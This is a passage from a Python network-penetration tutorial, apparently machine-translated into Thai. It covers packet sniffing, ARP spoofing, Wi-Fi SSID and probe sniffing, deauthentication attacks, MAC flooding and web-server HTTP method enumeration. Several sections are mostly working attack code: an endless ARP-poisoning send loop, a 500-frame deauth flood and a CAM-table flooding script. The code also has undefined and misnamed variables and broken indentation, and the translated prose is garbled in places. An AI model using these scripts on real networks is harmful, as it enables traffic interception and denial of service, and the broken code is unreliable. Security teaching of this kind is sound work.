Sniffers ไม่ใช่ยูทิลิตี้โง่ ๆ ที่อนุญาตให้คุณดูเฉพาะการจราจรสด หากคุณต้องการวิเคราะห์แต่ละแพ็กเก็ตจริงๆให้บันทึกการจับภาพและตรวจสอบทุกครั้งที่มีเวลา

การใช้งานโดยใช้ Python

ก่อนที่จะใช้สนิฟเฟอร์ซ็อกเก็ตดิบให้เราทำความเข้าใจกับ struct วิธีการตามที่อธิบายไว้ด้านล่าง -

โครงสร้าง. แพ็ค (fmt, a1, a2, ... )

ตามชื่อที่แนะนำวิธีนี้ใช้เพื่อส่งคืนสตริงซึ่งบรรจุตามรูปแบบที่กำหนด สตริงประกอบด้วยค่า a1, a2 และอื่น ๆ

Struct.unpack (fmt, สตริง)

ตามชื่อที่แนะนำวิธีนี้จะคลายสตริงตามรูปแบบที่กำหนด

ในตัวอย่างต่อไปนี้ของส่วนหัว IP sniffer ของซ็อกเก็ตดิบซึ่งเป็น 20 ไบต์ถัดไปในแพ็คเก็ตและในบรรดา 20 ไบต์นี้เราสนใจ 8 ไบต์สุดท้าย ไบต์หลังแสดงว่าที่อยู่ IP ต้นทางและปลายทางกำลังแยกวิเคราะห์ -

ตอนนี้เราต้องนำเข้าโมดูลพื้นฐานดังต่อไปนี้ -

import socket
import struct
import binascii

ตอนนี้เราจะสร้างซ็อกเก็ตซึ่งจะมีสามพารามิเตอร์ พารามิเตอร์แรกบอกเราเกี่ยวกับอินเทอร์เฟซแพ็คเก็ต - PF_PACKET สำหรับ Linux เฉพาะและ AF_INET สำหรับ windows พารามิเตอร์ที่สองบอกเราว่าเป็นซ็อกเก็ตดิบและพารามิเตอร์ที่สามบอกเราเกี่ยวกับโปรโตคอลที่เราสนใจ --0x0800 ที่ใช้สำหรับโปรโตคอล IP

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))

ตอนนี้เราต้องเรียกไฟล์ recvfrom() วิธีการรับแพ็คเก็ต

while True:
   packet = s.recvfrom(2048)

ในโค้ดบรรทัดต่อไปนี้เรากำลังริปส่วนหัวอีเธอร์เน็ต -

ethernet_header = packet[0][0:14]

ด้วยโค้ดบรรทัดต่อไปนี้เรากำลังแยกวิเคราะห์และคลายส่วนหัวด้วยไฟล์ struct วิธีการ -

eth_header = struct.unpack("!6s6s2s", ethernet_header)

โค้ดบรรทัดต่อไปนี้จะส่งคืนทูเพิลที่มีค่าฐานสิบหกสามค่าโดยแปลงเป็น hexify ใน binascii โมดูล -

print "Destination MAC:" + binascii.hexlify(eth_header[0]) + " Source MAC:" + binascii.hexlify(eth_header[1]) + " Type:" + binascii.hexlify(eth_header[2])

ตอนนี้เราสามารถรับส่วนหัว IP ได้โดยเรียกใช้โค้ดบรรทัดต่อไปนี้ -

ipheader = pkt[0][14:34]
ip_header = struct.unpack("!12s4s4s", ipheader)
print "Source IP:" + socket.inet_ntoa(ip_header[1]) + " Destination IP:" + socket.inet_ntoa(ip_header[2])

ในทำนองเดียวกันเราสามารถแยกวิเคราะห์ส่วนหัว TCP

ARP อาจถูกกำหนดให้เป็นโปรโตคอลไร้สถานะซึ่งใช้สำหรับการแมปที่อยู่ Internet Protocol (IP) กับที่อยู่เครื่องทางกายภาพ

การทำงานของ ARP

ในส่วนนี้เราจะเรียนรู้เกี่ยวกับการทำงานของ ARP พิจารณาขั้นตอนต่อไปนี้เพื่อทำความเข้าใจว่า ARP ทำงานอย่างไร -

• Step 1 - ขั้นแรกเมื่อเครื่องต้องการสื่อสารกับเครื่องอื่นต้องค้นหาที่อยู่จริงในตาราง ARP

• Step 2 - หากพบที่อยู่จริงของเครื่องแพ็คเก็ตหลังจากแปลงเป็นความยาวที่เหมาะสมแล้วจะถูกส่งไปยังเครื่องที่ต้องการ

• Step 3 - แต่ถ้าไม่พบรายการสำหรับที่อยู่ IP ในตาราง ARP_request จะออกอากาศผ่านเครือข่าย

• Step 4- ตอนนี้เครื่องทั้งหมดในเครือข่ายจะเปรียบเทียบที่อยู่ IP ที่ออกอากาศกับที่อยู่ MAC และหากเครื่องใด ๆ ในเครือข่ายระบุที่อยู่เครื่องจะตอบสนองต่อ ARP_request พร้อมกับ IP และที่อยู่ MAC ข้อความ ARP ดังกล่าวเรียกว่า ARP_reply

• Step 5 - ในที่สุดเครื่องที่ส่งคำขอจะจัดเก็บคู่ที่อยู่ไว้ในตาราง ARP และการสื่อสารทั้งหมดจะเกิดขึ้น

ARP Spoofing คืออะไร?

อาจถูกกำหนดให้เป็นการโจมตีประเภทหนึ่งที่ผู้ไม่ประสงค์ดีส่งคำขอ ARP ปลอมแปลงผ่านเครือข่ายท้องถิ่น ARP Poisoning เรียกอีกอย่างว่า ARP Spoofing สามารถเข้าใจได้ด้วยความช่วยเหลือของประเด็นต่อไปนี้ -

• การปลอมแปลง ARP ครั้งแรกสำหรับการโอเวอร์โหลดสวิตช์จะสร้างคำขอ ARP และแพ็กเก็ตตอบกลับที่ผิดพลาดจำนวนมาก

• จากนั้นสวิตช์จะถูกตั้งค่าในโหมดส่งต่อ

• ตอนนี้ตาราง ARP จะเต็มไปด้วยการตอบสนอง ARP ที่ปลอมแปลงเพื่อให้ผู้โจมตีสามารถดักจับแพ็กเก็ตเครือข่ายทั้งหมดได้

การใช้งานโดยใช้ Python

ในส่วนนี้เราจะเข้าใจการใช้งาน Python ในการปลอมแปลง ARP สำหรับสิ่งนี้เราจำเป็นต้องมีที่อยู่ MAC สามแห่ง - คนแรกของเหยื่อคนที่สองของผู้โจมตีและที่สามของเกตเวย์ นอกจากนั้นเรายังต้องใช้รหัสของโปรโตคอล ARP

ให้เรานำเข้าโมดูลที่ต้องการดังต่อไปนี้ -

import socket
import struct
import binascii

ตอนนี้เราจะสร้างซ็อกเก็ตซึ่งจะมีสามพารามิเตอร์ พารามิเตอร์แรกบอกเราเกี่ยวกับอินเทอร์เฟซแพ็คเก็ต (PF_PACKET สำหรับ Linux เฉพาะและ AF_INET สำหรับ windows) พารามิเตอร์ที่สองบอกเราว่าเป็นซ็อกเก็ตดิบหรือไม่และพารามิเตอร์ที่สามบอกเราเกี่ยวกับโปรโตคอลที่เราสนใจ (ที่นี่ 0x0800 ใช้สำหรับ IP มาตรการ).

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

ตอนนี้เราจะให้ที่อยู่ mac ของผู้โจมตีเหยื่อและเครื่องเกตเวย์ -

attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'

เราต้องให้รหัสของโปรโตคอล ARP ดังที่แสดง -

code ='\x08\x06'

แพ็คเก็ตอีเทอร์เน็ตสองแพ็กเก็ตหนึ่งสำหรับเครื่องเหยื่อและอีกชุดสำหรับเครื่องเกตเวย์ได้รับการสร้างขึ้นดังนี้ -

ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac +  attckmac + code

บรรทัดของโค้ดต่อไปนี้เรียงตามลำดับตามส่วนหัวของ ARP -

htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

ตอนนี้เราต้องให้ที่อยู่ IP ของเครื่องเกตเวย์และเครื่องเหยื่อ (สมมติว่าเรามีที่อยู่ IP ต่อไปนี้สำหรับเกตเวย์และเครื่องเหยื่อ) -

gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'

แปลงที่อยู่ IP ด้านบนเป็นรูปแบบเลขฐานสิบหกด้วยความช่วยเหลือของไฟล์ socket.inet_aton() วิธี.

gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )

ดำเนินการตามบรรทัดของรหัสต่อไปนี้เพื่อเปลี่ยนที่อยู่ IP ของเครื่องเกตเวย์

victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip

while 1:
   s.send(victim_ARP)
   s.send(gateway_ARP)

การใช้งานโดยใช้ Scapy บน Kali Linux

การปลอมแปลง ARP สามารถทำได้โดยใช้ Scapy บน Kali Linux ทำตามขั้นตอนเหล่านี้เพื่อดำเนินการเดียวกัน -

ขั้นตอนที่ 1: ที่อยู่ของเครื่องโจมตี

ในขั้นตอนนี้เราจะค้นหาที่อยู่ IP ของเครื่องโจมตีโดยเรียกใช้คำสั่ง ifconfig บนพรอมต์คำสั่งของ Kali Linux

ขั้นตอนที่ 2: ที่อยู่ของเครื่องเป้าหมาย

ในขั้นตอนนี้เราจะค้นหาที่อยู่ IP ของเครื่องเป้าหมายโดยเรียกใช้คำสั่ง ifconfig บนพรอมต์คำสั่งของ Kali Linux ซึ่งเราจำเป็นต้องเปิดบนเครื่องเสมือนอื่น

ขั้นตอนที่ 3: ปิงเครื่องเป้าหมาย

ในขั้นตอนนี้เราต้อง ping เครื่องเป้าหมายจากเครื่องโจมตีด้วยความช่วยเหลือของคำสั่งต่อไปนี้ -

Ping –c 192.168.43.85(say IP address of target machine)

ขั้นตอนที่ 4: ARP cache บนเครื่องเป้าหมาย

เรารู้อยู่แล้วว่าเครื่องสองเครื่องใช้แพ็กเก็ต ARP เพื่อแลกเปลี่ยนที่อยู่ MAC หลังจากขั้นตอนที่ 3 เราสามารถรันคำสั่งต่อไปนี้บนเครื่องเป้าหมายเพื่อดูแคช ARP -

arp -n

ขั้นตอนที่ 5: การสร้างแพ็กเก็ต ARP โดยใช้ Scapy

เราสามารถสร้างแพ็กเก็ต ARP ด้วยความช่วยเหลือของ Scapy ได้ดังนี้ -

scapy
arp_packt = ARP()
arp_packt.display()

ขั้นตอนที่ 6: การส่งแพ็กเก็ต ARP ที่เป็นอันตรายโดยใช้ Scapy

เราสามารถส่งแพ็กเก็ต ARP ที่เป็นอันตรายได้ด้วยความช่วยเหลือของ Scapy ดังนี้ -

arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)

Step 7: Again check ARP cache on target machine

ตอนนี้ถ้าเราตรวจสอบแคช ARP บนเครื่องเป้าหมายอีกครั้งเราจะเห็นที่อยู่ปลอม '1.1.1.1'

ระบบไร้สายมีความยืดหยุ่นสูง แต่ในทางกลับกันก็นำไปสู่ปัญหาด้านความปลอดภัยที่ร้ายแรงเช่นกัน และสิ่งนี้กลายเป็นปัญหาด้านความปลอดภัยที่ร้ายแรงได้อย่างไร - เนื่องจากผู้โจมตีในกรณีของการเชื่อมต่อแบบไร้สายเพียงแค่ต้องมีสัญญาณที่จะโจมตีแทนที่จะมีการเข้าถึงทางกายภาพเหมือนในกรณีของเครือข่ายแบบใช้สาย การทดสอบการเจาะระบบไร้สายเป็นงานที่ง่ายกว่าการทดสอบบนเครือข่ายแบบใช้สาย เราไม่สามารถใช้มาตรการรักษาความปลอดภัยทางกายภาพที่ดีกับสื่อไร้สายได้หากเราอยู่ใกล้กันมากพอเราจะสามารถ "ได้ยิน" (หรืออย่างน้อยอแด็ปเตอร์ไร้สายของคุณก็สามารถได้ยิน) ทุกอย่างที่ไหลไปในอากาศ

ข้อกำหนดเบื้องต้น

ก่อนที่เราจะเรียนรู้เพิ่มเติมเกี่ยวกับการกักขังเครือข่ายไร้สายขอให้เราพิจารณาถึงคำศัพท์และกระบวนการสื่อสารระหว่างไคลเอนต์และระบบไร้สาย

คำศัพท์ที่สำคัญ

ตอนนี้ให้เราเรียนรู้คำศัพท์ที่สำคัญที่เกี่ยวข้องกับการระงับเครือข่ายไร้สาย

จุดเชื่อมต่อ (AP)

จุดเชื่อมต่อ (AP) เป็นโหนดกลางในการใช้งานระบบไร้สาย 802.11 จุดนี้ใช้เพื่อเชื่อมต่อผู้ใช้กับผู้ใช้รายอื่นภายในเครือข่ายและยังสามารถใช้เป็นจุดเชื่อมต่อระหว่าง LAN ไร้สาย (WLAN) และเครือข่ายแบบต่อสาย ใน WLAN AP คือสถานีที่ส่งและรับข้อมูล

Service Set Identifier (SSID)

เป็นสตริงข้อความที่มนุษย์อ่านได้ยาว 0-32 ไบต์ซึ่งโดยพื้นฐานแล้วเป็นชื่อที่กำหนดให้กับเครือข่ายไร้สาย อุปกรณ์ทั้งหมดในเครือข่ายต้องใช้ชื่อที่คำนึงถึงตัวพิมพ์เล็กและใหญ่เพื่อสื่อสารผ่านเครือข่ายไร้สาย (Wi-Fi)

การระบุชุดบริการพื้นฐาน (BSSID)

เป็นที่อยู่ MAC ของชิปเซ็ต Wi-Fi ที่ทำงานบนจุดเชื่อมต่อไร้สาย (AP) มันถูกสร้างขึ้นแบบสุ่ม

หมายเลขช่อง

แสดงช่วงความถี่วิทยุที่ Access Point (AP) ใช้ในการส่งสัญญาณ

การสื่อสารระหว่างไคลเอนต์และระบบไร้สาย

สิ่งสำคัญอีกอย่างที่เราต้องเข้าใจคือกระบวนการสื่อสารระหว่างไคลเอนต์และระบบไร้สาย ด้วยความช่วยเหลือของแผนภาพต่อไปนี้เราสามารถเข้าใจสิ่งเดียวกัน -

กรอบ Beacon

ในกระบวนการสื่อสารระหว่างไคลเอนต์และจุดเชื่อมต่อ AP จะส่งเฟรมบีคอนเป็นระยะเพื่อแสดงสถานะ เฟรมนี้มาพร้อมกับข้อมูลที่เกี่ยวข้องกับ SSID, BSSID และหมายเลขช่อง

คำขอ Probe

ตอนนี้อุปกรณ์ไคลเอนต์จะส่งคำขอโพรบเพื่อตรวจสอบ AP ที่อยู่ในระยะ หลังจากส่งคำขอโพรบแล้วจะรอการตอบสนองของโพรบจาก AP คำขอ Probe มีข้อมูลเช่น SSID ของ AP ข้อมูลเฉพาะของผู้จำหน่ายเป็นต้น

การตอบสนองของ Probe

ตอนนี้หลังจากได้รับคำขอโพรบแล้ว AP จะส่งการตอบสนองของโพรบซึ่งมีข้อมูลเช่นอัตราข้อมูลที่รองรับความสามารถ ฯลฯ

คำขอรับรองความถูกต้อง

ตอนนี้อุปกรณ์ไคลเอนต์จะส่งกรอบคำขอการตรวจสอบสิทธิ์ที่มีข้อมูลประจำตัว

การตอบสนองการพิสูจน์ตัวตน

ในการตอบสนอง AP จะส่งกรอบการตอบกลับการตรวจสอบสิทธิ์เพื่อระบุการยอมรับหรือการปฏิเสธ

คำขอสมาคม

เมื่อการพิสูจน์ตัวตนสำเร็จอุปกรณ์ไคลเอนต์ได้ส่งเฟรมคำขอการเชื่อมโยงที่มีอัตราข้อมูลที่รองรับและ SSID ของ AP

คำตอบของสมาคม

ในการตอบสนอง AP จะส่งกรอบการตอบสนองที่เชื่อมโยงเพื่อระบุการยอมรับหรือการปฏิเสธ รหัสการเชื่อมโยงของอุปกรณ์ไคลเอ็นต์จะถูกสร้างขึ้นในกรณีที่ยอมรับ

การค้นหา Wireless Service Set Identifier (SSID) โดยใช้ Python

เราสามารถรวบรวมข้อมูลเกี่ยวกับ SSID ด้วยวิธีการซ็อกเก็ตดิบและโดยใช้ไลบรารี Scapy

วิธีซ็อกเก็ตดิบ

เราได้เรียนรู้สิ่งนั้นแล้ว mon0จับแพ็คเก็ตไร้สาย ดังนั้นเราต้องตั้งค่าโหมดจอภาพเป็นmon0. ใน Kali Linux สามารถทำได้ด้วยความช่วยเหลือของairmon-ngสคริปต์ หลังจากเรียกใช้สคริปต์นี้มันจะตั้งชื่อการ์ดไร้สายwlan1. ตอนนี้ด้วยความช่วยเหลือของคำสั่งต่อไปนี้เราต้องเปิดใช้งานโหมดมอนิเตอร์mon0 -

airmon-ng start wlan1

ต่อไปนี้เป็นวิธีซ็อกเก็ตดิบสคริปต์ Python ซึ่งจะทำให้เรามี SSID ของ AP -

ก่อนอื่นเราต้องนำเข้าโมดูลซ็อกเก็ตดังนี้ -

import socket

ตอนนี้เราจะสร้างซ็อกเก็ตที่จะมีสามพารามิเตอร์ พารามิเตอร์แรกบอกเราเกี่ยวกับอินเทอร์เฟซแพ็กเก็ต (PF_PACKET สำหรับ Linux เฉพาะและ AF_INET สำหรับ windows) พารามิเตอร์ที่สองบอกเราว่าเป็นซ็อกเก็ตดิบหรือไม่และพารามิเตอร์ที่สามบอกเราว่าเราสนใจแพ็กเก็ตทั้งหมด

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))

ตอนนี้บรรทัดถัดไปจะผูกไฟล์ mon0 โหมดและ 0x0003.

s.bind(("mon0", 0x0003))

ตอนนี้เราจำเป็นต้องประกาศรายการว่างซึ่งจะเก็บ SSID ของ AP

ap_list = []

ตอนนี้เราต้องเรียกไฟล์ recvfrom()วิธีการรับแพ็คเก็ต สำหรับการดมกลิ่นต่อไปเราจะใช้ infinite while loop

while True:
   packet = s.recvfrom(2048)

บรรทัดถัดไปของโค้ดจะแสดงว่าเฟรมมีขนาด 8 บิตหรือไม่ซึ่งแสดงว่าบีคอนเฟรม

if packet[26] == "\x80" :
   if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
      ap_list.add(packetkt[36:42])
      
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))

SSID sniffer พร้อม Scapy

Scapy เป็นหนึ่งในไลบรารีที่ดีที่สุดที่ช่วยให้เราสามารถสูดดมแพ็กเก็ต Wi-Fi ได้อย่างง่ายดาย คุณสามารถเรียนรู้รายละเอียด Scapy ได้ที่https://scapy.readthedocs.io/en/latest/. เริ่มต้นด้วยการเรียกใช้ Sacpy ในโหมดโต้ตอบและใช้คำสั่ง conf เพื่อรับค่าของ iface อินเทอร์เฟซเริ่มต้นคือ eth0 ตอนนี้เรามีโดมด้านบนแล้วเราต้องเปลี่ยนโหมดนี้เป็น mon0 สามารถทำได้ดังนี้ -

>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3

ตอนนี้ให้เรานำเข้า Scapy เป็นไลบรารี นอกจากนี้การดำเนินการของสคริปต์ Python ต่อไปนี้จะทำให้เรามี SSID -

from scapy.all import *

ตอนนี้เราต้องประกาศรายการว่างซึ่งจะจัดเก็บ SSID ของ AP

ap_list = []

ตอนนี้เราจะกำหนดฟังก์ชันชื่อ Packet_info()ซึ่งจะมีตรรกะการแยกวิเคราะห์แพ็กเก็ตที่สมบูรณ์ มันจะมีอาร์กิวเมนต์ pkt

def Packet_info(pkt) :

ในคำสั่งถัดไปเราจะใช้ตัวกรองซึ่งจะส่งผ่านเท่านั้น Dot11การจราจรซึ่งหมายถึงการรับส่งข้อมูล 802.11 บรรทัดที่ตามมายังเป็นตัวกรองซึ่งส่งผ่านการรับส่งข้อมูลที่มีเฟรมประเภท 0 (แสดงถึงเฟรมการจัดการ) และประเภทย่อยของเฟรมคือ 8 (แสดงถึงเฟรมบีคอน)

if pkt.haslayer(Dot11) :
   if ((pkt.type == 0) & (pkt.subtype == 8)) :
      if pkt.addr2 not in ap_list :
         ap_list.append(pkt.addr2)
         print("SSID:", (pkt.addr2, pkt.info))

ตอนนี้ฟังก์ชั่น sniff จะดักจับข้อมูลด้วย iface มูลค่า mon0 (สำหรับแพ็กเก็ตไร้สาย) และเรียกใช้ไฟล์ Packet_info ฟังก์ชัน

sniff(iface = "mon0", prn = Packet_info)

สำหรับการใช้งานสคริปต์ Python ข้างต้นเราต้องใช้การ์ด Wi-Fi ที่สามารถสูดอากาศโดยใช้โหมดมอนิเตอร์

การตรวจจับไคลเอนต์ Access Point

สำหรับการตรวจจับไคลเอนต์ของจุดเชื่อมต่อเราจำเป็นต้องจับเฟรมคำขอโพรบ เราสามารถทำได้เช่นเดียวกับที่เราทำในสคริปต์ Python สำหรับ SSID sniffer โดยใช้ Scapy เราจำเป็นต้องให้Dot11ProbeReqสำหรับการจับกรอบคำขอโพรบ ต่อไปนี้เป็นสคริปต์ Python เพื่อตรวจจับไคลเอนต์ของจุดเชื่อมต่อ -

from scapy.all import *

probe_list = []

ap_name= input(“Enter the name of access point”)

def Probe_info(pkt) :
   if pkt.haslayer(Dot11ProbeReq) :
      client_name = pkt.info
      
      if client_name == ap_name :
         if pkt.addr2 not in Probe_info:
            Print(“New Probe request--”, client_name)
            Print(“MAC is --”, pkt.addr2)
            Probe_list.append(pkt.addr2)
            
sniff(iface = "mon0", prn = Probe_info)

การโจมตีแบบไร้สาย

จากมุมมองของเพนเทสเตอร์จำเป็นอย่างยิ่งที่จะต้องทำความเข้าใจว่าการโจมตีแบบไร้สายเกิดขึ้นได้อย่างไร ในส่วนนี้เราจะพูดถึงการโจมตีไร้สายสองประเภท -

• de-authentication (deauth) โจมตี

• การโจมตีด้วยน้ำท่วมของ MAC

de-authentication (deauth) โจมตี

ในกระบวนการสื่อสารระหว่างอุปกรณ์ไคลเอนต์และจุดเชื่อมต่อเมื่อใดก็ตามที่ไคลเอนต์ต้องการยกเลิกการเชื่อมต่อจำเป็นต้องส่งเฟรมการยกเลิกการพิสูจน์ตัวตน เพื่อตอบสนองต่อเฟรมนั้นจากไคลเอนต์ AP จะส่งเฟรมการพิสูจน์ตัวตนด้วย ผู้โจมตีสามารถได้รับประโยชน์จากกระบวนการปกตินี้โดยการปลอมแปลงที่อยู่ MAC ของเหยื่อและส่งเฟรมการพิสูจน์ตัวตนไปยัง AP ด้วยเหตุนี้การเชื่อมต่อระหว่างไคลเอนต์และ AP จึงหลุด ต่อไปนี้เป็นสคริปต์ Python เพื่อดำเนินการโจมตี de-authentication -

ก่อนอื่นให้เรานำเข้า Scapy เป็นไลบรารี -

from scapy.all import *
import sys

คำสั่งสองข้อต่อไปนี้จะป้อนที่อยู่ MAC ของ AP และเหยื่อตามลำดับ

BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")

ตอนนี้เราต้องสร้างกรอบการพิสูจน์ตัวตน สามารถสร้างได้โดยดำเนินการคำสั่งต่อไปนี้

frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()

โค้ดบรรทัดถัดไปแสดงถึงจำนวนแพ็กเก็ตทั้งหมดที่ส่ง นี่คือ 500 และช่วงเวลาระหว่างสองแพ็คเก็ต

sendp(frame, iface = "mon0", count = 500, inter = .1)

เอาต์พุต

เมื่อดำเนินการคำสั่งดังกล่าวจะสร้างผลลัพธ์ต่อไปนี้ -

Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)

ตามด้วยการสร้าง deauth frame ซึ่งส่งไปยังจุดเชื่อมต่อในนามของไคลเอนต์ สิ่งนี้จะทำให้การเชื่อมต่อระหว่างกันถูกยกเลิก

คำถามคือเราจะตรวจจับการโจมตี deauth ด้วยสคริปต์ Python ได้อย่างไร การเรียกใช้สคริปต์ Python ต่อไปนี้จะช่วยในการตรวจจับการโจมตีดังกล่าว -

from scapy.all import *
i = 1

def deauth_frame(pkt):
   if pkt.haslayer(Dot11):
      if ((pkt.type == 0) & (pkt.subtype == 12)):
         global i
         print ("Deauth frame detected: ", i)
         i = i + 1
   sniff(iface = "mon0", prn = deauth_frame)

ในสคริปต์ข้างต้นคำสั่ง pkt.subtype == 12 ระบุว่าเฟรม deauth และตัวแปร I ซึ่งกำหนดโดยทั่วไปจะบอกเกี่ยวกับจำนวนแพ็กเก็ต

เอาต์พุต

การดำเนินการของสคริปต์ด้านบนจะสร้างผลลัพธ์ต่อไปนี้ -

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

ที่อยู่ MAC ทำให้เกิดการโจมตีอย่างท่วมท้น

การโจมตีที่อยู่ MAC ท่วมท้น (CAM table flood attack) เป็นการโจมตีเครือข่ายประเภทหนึ่งที่ผู้โจมตีที่เชื่อมต่อกับพอร์ตสวิตช์จะทำให้อินเทอร์เฟซของสวิตช์มีเฟรมอีเทอร์เน็ตจำนวนมากพร้อมที่อยู่ MAC ปลอม CAM Table Overflow เกิดขึ้นเมื่อมีการไหลเข้าของ MAC แอดเดรสเข้าไปในตารางและถึงขีด จำกัด ตาราง CAM สิ่งนี้ทำให้สวิตช์ทำหน้าที่เหมือนฮับทำให้เครือข่ายมีทราฟฟิกที่พอร์ตทั้งหมด การโจมตีดังกล่าวเปิดตัวได้ง่ายมาก สคริปต์ Python ต่อไปนี้ช่วยในการเปิด CAM เช่นการโจมตีท่วม -

from scapy.all import *

def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list

def cam_overflow(packet_list):
   sendp(packet_list, iface='wlan')

if __name__ == '__main__':
   packet_list = generate_packets()
   cam_overflow(packet_list)

จุดมุ่งหมายหลักของการโจมตีแบบนี้คือการตรวจสอบความปลอดภัยของสวิตช์ เราจำเป็นต้องใช้ความปลอดภัยของพอร์ตหากต้องการทำให้ผลกระทบจากการโจมตีของ MAC ท่วมน้อยลง

เว็บแอปพลิเคชันและเว็บเซิร์ฟเวอร์มีความสำคัญอย่างยิ่งต่อการปรากฏตัวทางออนไลน์ของเราและการโจมตีที่เกิดขึ้นกับแอปพลิเคชันนั้นถือเป็นมากกว่า 70% ของการโจมตีทั้งหมดที่พยายามบนอินเทอร์เน็ต การโจมตีเหล่านี้พยายามแปลงเว็บไซต์ที่เชื่อถือได้ให้เป็นเว็บไซต์ที่มุ่งร้าย ด้วยเหตุนี้การทดสอบปากกาเว็บเซิร์ฟเวอร์และเว็บแอปพลิเคชันจึงมีบทบาทสำคัญ

การพิมพ์ฐานของเว็บเซิร์ฟเวอร์

เหตุใดเราจึงต้องคำนึงถึงความปลอดภัยของเว็บเซิร์ฟเวอร์ เนื่องจากการเติบโตอย่างรวดเร็วของอุตสาหกรรมอีคอมเมิร์ซเป้าหมายหลักของผู้โจมตีคือเว็บเซิร์ฟเวอร์ สำหรับเว็บเซิร์ฟเวอร์ pentesting เราต้องรู้เกี่ยวกับเว็บเซิร์ฟเวอร์ซอฟต์แวร์โฮสติ้งและระบบปฏิบัติการพร้อมกับแอพพลิเคชั่นซึ่งทำงานอยู่ การรวบรวมข้อมูลดังกล่าวเกี่ยวกับเว็บเซิร์ฟเวอร์เรียกว่าการวางรากฐานของเว็บเซิร์ฟเวอร์

ในส่วนต่อไปเราจะพูดถึงวิธีการต่างๆในการวางรากฐานของเว็บเซิร์ฟเวอร์

วิธีการวางรากฐานของเว็บเซิร์ฟเวอร์

เว็บเซิร์ฟเวอร์คือซอฟต์แวร์เซิร์ฟเวอร์หรือฮาร์ดแวร์เฉพาะสำหรับจัดการคำขอและตอบสนอง นี่เป็นประเด็นสำคัญสำหรับผู้ดูแลที่จะมุ่งเน้นในขณะที่ทำการทดสอบการเจาะของเว็บเซิร์ฟเวอร์

ตอนนี้ให้เราพูดถึงวิธีการบางอย่างที่นำไปใช้ใน Python ซึ่งสามารถดำเนินการสำหรับการวางรากฐานของเว็บเซิร์ฟเวอร์ -

การทดสอบความพร้อมใช้งานของวิธี HTTP

แนวทางปฏิบัติที่ดีมากสำหรับผู้ทดสอบการเจาะคือการเริ่มต้นด้วยการระบุวิธี HTTP ต่างๆที่มีอยู่ ต่อไปนี้เป็นสคริปต์ Python ด้วยความช่วยเหลือซึ่งเราสามารถเชื่อมต่อกับเว็บเซิร์ฟเวอร์เป้าหมายและระบุวิธีการ HTTP ที่มี -

ในการเริ่มต้นเราต้องนำเข้าไลบรารีคำขอ -

import requests

หลังจากนำเข้าไลบรารีคำขอให้สร้างอาร์เรย์ของวิธี HTTP ซึ่งเรากำลังจะส่ง เราจะใช้วิธีมาตรฐานบางอย่างเช่น 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' และวิธีการ 'TEST' ที่ไม่ได้มาตรฐานเพื่อตรวจสอบว่าเว็บเซิร์ฟเวอร์สามารถจัดการกับอินพุตที่ไม่คาดคิดได้อย่างไร

method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']

บรรทัดของโค้ดต่อไปนี้คือลูปหลักของสคริปต์ซึ่งจะส่งแพ็กเก็ต HTTP ไปยังเว็บเซิร์ฟเวอร์และพิมพ์วิธีการและรหัสสถานะ

for method in method_list:
   req = requests.request(method, 'Enter the URL’)
   print (method, req.status_code, req.reason)

บรรทัดถัดไปจะทดสอบความเป็นไปได้ของการติดตามข้ามไซต์ (XST) โดยส่งเมธอด TRACE

if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
   print ('Cross Site Tracing(XST) is possible')

หลังจากเรียกใช้สคริปต์ข้างต้นสำหรับเว็บเซิร์ฟเวอร์หนึ่ง ๆ เราจะได้รับคำตอบตกลง 200 คำตอบสำหรับวิธีการเฉพาะที่เว็บเซิร์ฟเวอร์ยอมรับ เราจะได้รับการตอบสนอง 403 Forbidden หากเว็บเซิร์ฟเวอร์ปฏิเสธวิธีการนี้อย่างชัดเจน เมื่อเราส่งวิธีการ TRACE สำหรับการทดสอบการติดตามข้ามไซต์ (XST) เราจะได้รับ405 Not Allowed การตอบกลับจากเว็บเซิร์ฟเวอร์ไม่เช่นนั้นเราจะได้รับข้อความ ‘Cross Site Tracing(XST) is possible’.

การพิมพ์เท้าโดยตรวจสอบส่วนหัว HTTP

